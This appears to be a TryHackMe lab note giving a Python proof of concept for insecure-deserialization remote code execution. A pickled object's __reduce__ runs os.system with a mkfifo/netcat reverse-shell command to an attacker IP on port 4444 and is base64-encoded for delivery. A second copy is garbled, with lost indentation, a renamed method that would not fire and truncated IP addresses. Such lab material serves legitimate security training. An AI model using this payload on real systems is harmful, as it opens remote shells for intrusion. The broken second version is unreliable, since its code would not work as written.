TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC

rce.py

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

this encode it so that it executes

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.92.85 4444 > /tmp/f'

class rce(object):
def reduce(self):
import os
return (os.system,(command,))

payL = base64.b64encode(pickle.dumps(rce()))
print(payL)
res = pickle.loads(base64.b64decode(payL))
print(res)

payL2 = base64.b64encode(pickle.dumps('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.9.9 4444 > /tmp/f'))
print(payL2)
res2 = pickle.loads(base64.b64decode(payL2))
print(res2)